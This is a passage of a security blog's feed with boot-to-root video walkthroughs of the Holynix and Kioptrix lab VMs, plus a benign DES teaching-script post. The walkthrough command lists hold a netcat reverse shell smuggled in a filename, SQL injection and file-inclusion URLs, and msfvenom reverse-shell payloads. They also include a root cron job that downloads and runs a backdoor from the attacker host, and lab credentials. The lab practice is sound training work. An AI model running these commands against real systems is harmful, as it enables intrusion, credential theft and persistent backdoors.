&lt;br /&gt;firefox http://192.168.0.11/~etenenbaum/&lt;br /&gt;&lt;br /&gt;sysinfo&lt;br /&gt;shell&lt;br /&gt;id&lt;br /&gt;pwd&lt;br /&gt;ls -lah&lt;br /&gt;cd /var/apache2&lt;br /&gt;ls -lah&lt;br /&gt;cat config.inc&lt;br /&gt;python -c 'import pty; pty.spawn("/bin/sh")'&lt;br /&gt;mysql -u root -pmY5qLr007p@S5w0rD&lt;br /&gt;SHOW DATABASES;&lt;br /&gt;USE creds;&lt;br /&gt;SHOW TABLES;&lt;br /&gt;SELECT * FROM accounts;&lt;br /&gt;quit&lt;br /&gt;&lt;br /&gt;firefox http://192.168.0.11/index?page=messageboard.php   # knockknock&lt;br /&gt;wget http://192.168.0.11/misc/knockknock-0.7.tar.gz&lt;br /&gt;tar zxvf knockknock-0.7.tar.gz&lt;br /&gt;cd knockknock-0.7&lt;br /&gt;head -n 20 INSTALL&lt;br /&gt;python setup.py install&lt;br /&gt;&lt;br /&gt;cd /etc/knockknock.d/profiles/&lt;br /&gt;ls -lAh&lt;br /&gt;cp -r alamo ~/knockknock&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;wget -r -np --reject=index* 192.168.0.11/~alamo/knockknock/   &lt;br /&gt;mv 192.168.0.11/~alamo/knockknock ~/.knockknock/192.168.0.11&lt;br /&gt;ls -lAh&lt;br /&gt;#cat config&lt;br /&gt;nmap -p 22 -T5 -v 192.168.0.11&lt;br /&gt;#python /tmp/knockknock-0.7/knockknock.py -p 13820 192.168.0.11&lt;br /&gt;python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 &amp;amp;&amp;amp; nmap -p 13820 -T5 -v 192.168.0.11&lt;br /&gt;python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 &amp;amp;&amp;amp; ssh alamo@192.168.0.11   # Ih@cK3dM1cR05oF7&lt;br /&gt;id&lt;br /&gt;# sudo -l&lt;br /&gt;&lt;br /&gt;firefox http://192.168.0.11/index?page=messageboard.php   # Changetrack&lt;br /&gt;&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;grep -i changetrack files.csv&lt;br /&gt;cat platforms/linux/local/9709.txt&lt;br /&gt;&lt;br /&gt;ls -lah /home   # development is set to nobody &amp;amp; developers&lt;br /&gt;cat /etc/group | grep developers    # Alamo jljohansen&lt;br /&gt;cd /home/development&lt;br /&gt;ls -lAh&lt;br /&gt;whereis nc&lt;br /&gt;&lt;br /&gt;nc -lvp 443&lt;br /&gt;&lt;br /&gt;touch "&amp;lt;\`nc 192.168.0.192 443 -e \$SHELL\`"&lt;br /&gt;ls&lt;br /&gt;watch -d -n 1 "netstat -ant"   # wait 5 mins&lt;br /&gt;&lt;br /&gt;id &amp;amp;&amp;amp; /sbin/ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lAh /root/&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt;  &lt;br /&gt;&lt;ul&gt;&lt;li&gt;When starting the VM for the first time with VMware, select "Moved It" - &lt;i&gt;otherwise it could cause issues (e.g. The target will not be visible!).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;There is the possibly of another method of gaining access, as well as different tools &lt;i&gt;(e.g. burpsuite instead of using tamper data)&lt;/i&gt; or techniques &lt;i&gt;(modify the SQL injection or permanently edit the cookie value)&lt;/i&gt; could be used to achieve the same effect.&lt;/li&gt;&lt;li&gt;Some mistakes in the video are more obvious&lt;/li&gt;&lt;li&gt;On reflection, a few commands should have been issues to verify the comments on the message box, such as: "ls /etc | grep -i changetrack" and "cat /etc/changetrack.conf".&lt;/li&gt;&lt;/ul&gt;Song: &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/6087260/Hometown-Glory/Product.html?aid=6087258"&gt;Hometown Glory (High Contrast Remix) - Adele&lt;/a&gt; &amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/3940134/One-Love/Product.html"&gt;One Love- The Prodigy&lt;/a&gt;&amp;nbsp; &amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/16281968/Ill-Behaviour/Product.html?aid=16489884"&gt;Ill Behaviour - Danny Byrd&lt;/a&gt;&lt;br /&gt;Video length: 12:55&lt;br /&gt;Capture length: 55:21&lt;br /&gt;Blog Post: &lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-1.html"&gt;http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-1.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/43880-%5Bvideo%5D-holynix-level-1-a.html#post204837"&gt;http://www.backtrack-linux.org/forums/backtrack-5-videos/43880-%5Bvideo%5D-holynix-level-1-a.html#post204837&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.backtrack-linux.org/forums/backtrack-5-videos/43762-%5Bvideo%5D-kioptrix-level-3-a.html#post204586"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-8167094761462111926?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/8167094761462111926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-1.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8167094761462111926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8167094761462111926'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/video-holynix-level-1.html' title='[Video] Holynix - Level 1'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-7722147968056123008</id><published>2011-08-16T12:57:00.018+01:00</published><updated>2011-09-22T14:45:09.145+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='Scripts'/><title type='text'>[Script] des.py - Data Encryption Standard</title><content type='html'>&lt;b&gt;&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Download &lt;span style="font-style: italic;"&gt;(des.py)&lt;/span&gt;: &lt;a href="http://www.mediafire.com/?193ngwc7lbd9wbu"&gt;http://www.mediafire.com/?193ngwc7lbd9wbu&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;What is this?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;A python script to show the process of encrypting &amp;amp; decrypting using "Data Encryption Standard" (DES) step by step.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Screenshot&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-7AxDNYORkoM/TkuFzySomRI/AAAAAAAAAR0/RU19sZGnADc/s1600/Untitled-3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="152" src="http://2.bp.blogspot.com/-7AxDNYORkoM/TkuFzySomRI/AAAAAAAAAR0/RU19sZGnADc/s640/Untitled-3.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="gphoto-photocaption-caption"&gt;Figure 1 - "Variable" Flowchart&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-2xUuDpurO28/TkuFzoiW9tI/AAAAAAAAARs/QuvxKjlmC4I/s1600/Untitled-2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="196" src="http://1.bp.blogspot.com/-2xUuDpurO28/TkuFzoiW9tI/AAAAAAAAARs/QuvxKjlmC4I/s640/Untitled-2.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="gphoto-photocaption-caption"&gt;DES - Figure 2 - Console output [Encryptio&lt;wbr&gt;&lt;/wbr&gt;n]&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-VkIw0XlHeVs/TkuFz9YudqI/AAAAAAAAARw/I5eQx7Keu94/s1600/Untitled-1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="196" src="http://1.bp.blogspot.com/-VkIw0XlHeVs/TkuFz9YudqI/AAAAAAAAARw/I5eQx7Keu94/s640/Untitled-1.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="gphoto-photocaption-caption"&gt;DES - Figure 3 - Console output [Decryptio&lt;wbr&gt;&lt;/wbr&gt;n]&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Examples&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;python des.py&lt;br /&gt;python des.py -a enc -k 02468ACE -m "HelloWord"&lt;br /&gt;python des.py -a dec -k 02468ACE -m fb37a0c2d860b89630c7618b0df81564&lt;br /&gt;python des.py -a enc -k 1a2b3c4d -m "Have you... g0tmi1k?" -v&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;References&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.tropsoft.com/strongenc/des.htm"&gt;http://www.tropsoft.com/strongenc/des.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://orlingrabbe.com/des.htm"&gt;http://orlingrabbe.com/des.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-7722147968056123008?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/7722147968056123008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/script-despy-data-encryption-standard_16.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/7722147968056123008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/7722147968056123008'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/script-despy-data-encryption-standard_16.html' title='[Script] des.py - Data Encryption Standard'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-7AxDNYORkoM/TkuFzySomRI/AAAAAAAAAR0/RU19sZGnADc/s72-c/Untitled-3.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-1129277234539406425</id><published>2011-08-12T10:59:00.012+01:00</published><updated>2011-08-15T21:28:12.473+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='Kioptrix'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><title type='text'>[Video] Kioptrix - Level 3</title><content type='html'>&lt;span style="color: red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line: &lt;a href="https://blip.tv/g0tmi1k/kioptrix-level-3-5460112"&gt;https://blip.tv/g0tmi1k/kioptrix-level-3-5460112&lt;/a&gt;&lt;br /&gt;Download video: &lt;a href="http://www.mediafire.com/?4rqe1ek0o75fy7v"&gt;http://www.mediafire.com/?4rqe1ek0o75fy7v&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFgs2hdAA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFgs2hdAA" src="http://a.blip.tv/api.swf#hdkFgs2hdAA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview &lt;/div&gt;It's time for &lt;a href="http://g0tmi1k.blogspot.com/search/label/Kioptrix"&gt;round 3&lt;/a&gt; with &lt;span id="goog_700328772"&gt;&lt;/span&gt;Kioptrix&lt;span id="goog_700328773"&gt;&lt;/span&gt;'s "&lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;Vulnerable-By-Design&lt;/a&gt;" series. Normal goal of "&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;", by any means possible.&lt;br /&gt;&lt;br /&gt;The target was fully compromised with a mixture of; SQL injection, re-used credentials and poorly configured setting. After gaining root access, to extent the video two methods of backdooring the system were installed as well as an alternative idea to escape privileges. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method &lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned network for the host (nmap)&lt;/li&gt;&lt;li&gt;Added IP address to the host file &lt;/li&gt;&lt;li&gt;Port scanned the host (unicornscan)&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the  open ports (nmap)&lt;/li&gt;&lt;li&gt;Discovered usernames via a 'Local File Inclusion' vulnerability (Firefox)&lt;/li&gt;&lt;li&gt;Enumerated database (manual MySQL injection)&lt;/li&gt;&lt;li&gt;Reused credentials granting a remote shell&lt;/li&gt;&lt;li&gt;Poorly configured setting to escape privileges (Unprotected limited root) access&lt;/li&gt;&lt;li&gt;&lt;i&gt;Uploaded and used a web backdoor (Meterpreter)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Automated MySQL Injection (SQLMap)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Alternative method to gain root as well as escaping privileges (Cron Job)&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need? &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.kioptrix.com/blog/?p=358"&gt;Kioptrix VM Level 1.2 [KVM3.rar]&lt;/a&gt; &lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: D324FFADD8E3EFC1F96447EEC51901F2)&lt;/span&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine &lt;i&gt;(Example: &lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt; or &lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;)&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;Nmap&lt;/a&gt; – &lt;i&gt;(Can be found on &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.unicornscan.org/"&gt;Unicornscan&lt;/a&gt; – &lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://exploit-db.com/"&gt;Exploit-DB&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.openwall.com/john/"&gt;John The Ripper&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://sqlmap.sourceforge.net/"&gt;SQLMap&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; – &lt;i&gt;(Can be found on BackTrack 5).&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough &lt;/div&gt;The attacker starts off with locating the target system on the network, which is done by using a quick "ping" scan via nmap.&lt;br /&gt;&lt;br /&gt;Once the target has been discovered the attacker, adds the IP address to their host file. (The reasoning for this is due to Kioptrix using DHCP to assign its IP address and later on, the HTML code needs a "static reference" to use as a source).&lt;br /&gt;&lt;br /&gt;Afterwards the attacker executes a TCP &amp;amp; UDP port scan by using unicornscan. The results show only two ports are open, TCP 22 and TCP 80. The attacker repeats the port scan however switches to nmap and enables the option to "banner grab" the services which are running on open ports, to enumerate running services. Nmap confirms that the same ports are open as well as the default services are also using them, SSH (TCP 22), and Web (TCP 80).&lt;br /&gt;&lt;br /&gt;The attacker continues by interacting with the web server. Upon visiting the web server, the attacker is presented with a blog. When exploring the web site, the attacker notices a common URI, which often has a "Local File Include" vulnerability. The attacker uses this to their advantage by including a known file which commonly contains details of each user on the system. This shows that system has two possible users "loneferret" and "dreg".&lt;br /&gt;&lt;br /&gt;One of the blog posts, referred to a product which is running on their web server, a new gallery. At the end of the post, contain the URL to the gallery. Another post, helped confirmed one of the usernames, "loneferret", as it was mentioned again. &lt;br /&gt;&lt;br /&gt;After looking at the source code for the gallery, the attacker notices that the admin link in the template has been commented out, rather than being removed from the code completely. After visiting the page, the gallery service has been identified as "gallarific".&lt;br /&gt;&lt;br /&gt;When checking to see if "Gallarific" has any known public exploits, they find it is subject to a SQL injection attack. The exploit gives the weak URL and the attacker manually starts enumerating the database. They start off by seeing which tables are accessible, then the names of the columns inside the "dev_account" table. This shows there are three fields, "id", "username" and "password". The attacker views the values and upon doing so, sees the same two usernames as before along with their respected MD5 hashes.&lt;br /&gt;&lt;br /&gt;The attacker inserts the hashes into John the ripper, which quickly brute forces them (as they are not salted!), showing that loneferret's password is "starwars" and dreg's is "Mast3r".&lt;br /&gt;&lt;br /&gt;A common issue is password re-use, which the attacker is aware of, therefore they attempt to see if any of the users did so with their SQL and SSH credentials. Loneferret did.&lt;br /&gt;&lt;br /&gt;After viewing loneferrts personal folder, there is a company readme file which explains their policy, that they must use a certain program, "ht" to create, view and edit files. However, in the example command, it says the employee needs to use "sudo" in which to do so. Sudo allows programs to be used with the security privileges of another user, which in this case is the super root account - root. This allows the attacker to create, view and edit any file.&lt;br /&gt;&lt;br /&gt;With this, the attacker uses ht to "upgrade" their currently limited usage of the sudo to give them root access. After granting the upgrade of privileges, the attacker logs in as root.  The attacker now has access to the complete system...&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Because the attacker doesn't wish to keep exploiting the same box again, they want to place a backdoor, which allows for quicker access back into the system. The attacker searches for the admin credentials to the gallery product, as there is a high chance that there is an upload feature which they could try and take advantage of.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;By using the same SQL injection as before, the attacker manually starts searching another table, "gallarific_users". The attacker soon finds the admin username &amp;amp; password, in plain text.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;(Editor's note: This stage isn't "needed", it was only done to show how automated tools simplify the whole process!)&lt;br /&gt;&lt;i&gt;The attacker then starts to enumerate the whole database, by using SQLMap. The tool quickly finds extra useful information regarding the database, as well as automatically attempting to crack any known password hash formats. This confirms everything which was found manually.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;After logging in as the admin for the gallery, the attacker is able to confirm their suspicions from earlier, the product supported uploading. The attacker generates a PHP reserve shell with an image format and then uploads their evil image. Due to the product automatically checking file extensions, renaming uploaded images and the server configuration the attacker isn't able to execute the "image". However, due to the "local file include", which was found at the beginning, the attacker is able to execute the code inside the image, which creates a shell. The type of shell which the attacker is using to interact with the system isn't able switch users (non-TTY). But by using python which has already been installed locally on the system, the attacker is able to code a quick script to get around this limitation by using python to spawn a bash terminal in the background and relay commands into it.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Instead of modifying the sudoers file originally to gain root access to the system, the attacker writes a cron job to: start on the next minute, then as the root account,&lt;/i&gt;&lt;i&gt; to download a file and execute it, as well as deleting the job (optional!). The attacker then creates the back door executable file as well as starting a web server to host the file for the target to download. The attacker then waits for the targets clock to reach the next minute and execute the command, spawning a remote root shell.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt; &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;nmap 192.168.0.* -n -sn -sP&lt;br /&gt;echo 192.168.0.10 kioptrix3.com &amp;gt;&amp;gt; /etc/hosts   # It's in the readme&lt;br /&gt;cat /etc/hosts&lt;br /&gt;us -H -msf -Iv kioptrix3.com -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv kioptrix3.com -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v kioptrix3.com&lt;br /&gt;firefox kioptrix3.com   # Link-&amp;gt; Blog&lt;br /&gt;http://kioptrix3.com/index.php?system=../../../../../etc/passwd%00.html&lt;br /&gt;# Gallery --&amp;gt; Source code (gadmin): http://kioptrix3.com/gallery/gadmin/&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;grep -i gallarific files.csv&lt;br /&gt;cat platforms/php/webapps/15891.txt&lt;br /&gt;firefox kioptrix3.com/gallery/gallery.php&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,3,4,5,6&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5,6&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='dev_accounts'),4,5,6&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(id, 0x3A, username, 0x3A, password) from dev_accounts),4,5,6&lt;br /&gt;echo -e "0d3eccfb887aabd50f243b3f155c0f85\n5badcaf789d3d1d09794d8f021f40f0e" &amp;gt;&amp;gt; /tmp/hashes&lt;br /&gt;cd /pentest/passwords/john&lt;br /&gt;./john /tmp/hash --format=raw-md5&lt;br /&gt;ssh loneferret@kioptrix3.com   # starwars&lt;br /&gt;id&lt;br /&gt;pwd&lt;br /&gt;ls -lA&lt;br /&gt;cat CompanyPolicy.README&lt;br /&gt;ls -lh /etc/sudoers&lt;br /&gt;cat /etc/sudoers&lt;br /&gt;sudo ht   # starwars   File -&amp;gt; Open: /etc/sudoers -&amp;gt; Edit loneferret: loneferret ALL=(ALL) ALL -&amp;gt; File -&amp;gt; Save&lt;br /&gt;sudo su   # starwars&lt;br /&gt;id &amp;amp;&amp;amp; ifconfig &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lAh ~/&lt;br /&gt;cd /etc/apache2/sites-enabled&lt;br /&gt;ls&lt;br /&gt;cat * | grep -i documentroot&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;firefox&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,3,4,5,6&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='gallarific_users'),4,5,6&lt;br /&gt;http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(userid, 0x3A, username, 0x3A, password, 0x3A, usertype) from gallarific_users),4,5,6&lt;br /&gt;cd /pentest/database/sqlmap&lt;br /&gt;./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" -f -b --current-user --is-dba --dbs&lt;br /&gt;./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --columns&lt;br /&gt;./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --users --passwords&lt;br /&gt;./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --file-read="/etc/passwd"&lt;br /&gt;./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dump&lt;br /&gt;http://kioptrix3.com/gallery/gadmin    # admin n0t7t1k4   Upload new pic&lt;br /&gt;cd /pentest/backdoors/web/webshells&lt;br /&gt;ls -lAh&lt;br /&gt;msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw &amp;gt; /tmp/evil.jpg    # msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 R&lt;br /&gt;msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E&lt;br /&gt;firefox http://kioptrix3.com/gallery/photos/   # Upload new pic&lt;br /&gt;http://kioptrix3.com/index.php?system=../../../../../home/www/kioptrix3.com/gallery/photos/w835623l98.jpg%00.html&lt;br /&gt;sysinfo&lt;br /&gt;shell&lt;br /&gt;su loneferret&lt;br /&gt;echo "import pty; pty.spawn('/bin/bash')" &amp;gt; /tmp/shell.py&lt;br /&gt;python /tmp/shell.py&lt;br /&gt;su loneferret   # starwars&lt;br /&gt;sudo su    # starwars&lt;br /&gt;cd ~&lt;br /&gt;ls&lt;br /&gt;cat Congrats.txt&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;ssh loneferrt@kioptrix3.com   # starwars&lt;br /&gt;cat CompanyPolicy.README&lt;br /&gt;sudo ht&lt;br /&gt;* * * * * root cd /tmp; wget 192.168.0.192/back.door &amp;amp;&amp;amp; chmod +x back.door &amp;amp;&amp;amp; ./back.door; rm /etc/cron.d/exploit   # /etc/cron.d/exploit&lt;br /&gt;msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 X &amp;gt; /var/www/back.door&lt;br /&gt;file /var/www/back.door&lt;br /&gt;/etc/init.d/apache2 start&lt;br /&gt;msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 E&lt;br /&gt;id&lt;br /&gt;uname -a&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt; &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Editing the host file is mentioned in the README which is included (as well as on the blog post).&lt;/li&gt;&lt;/ul&gt;Song: &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/19218103/Strobot/Product.html?aid=19216503"&gt;Strobot (Netsky Remix) - Shameboy &lt;/a&gt;&amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/18609507/Wild-Life/Product.html?aid=18608905"&gt;Wild Life (Nu:Tone remix) - Unicorn Kid &lt;/a&gt;&amp;amp; &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/13441568/September/Product.html?aid=13440434"&gt;September (Rmx for Future Prophecies) - Camo &amp;amp; Krooked&lt;/a&gt;&lt;br /&gt;Video length: 14:47&lt;br /&gt;Capture length: 51:13&lt;br /&gt;Blog Post: &lt;a 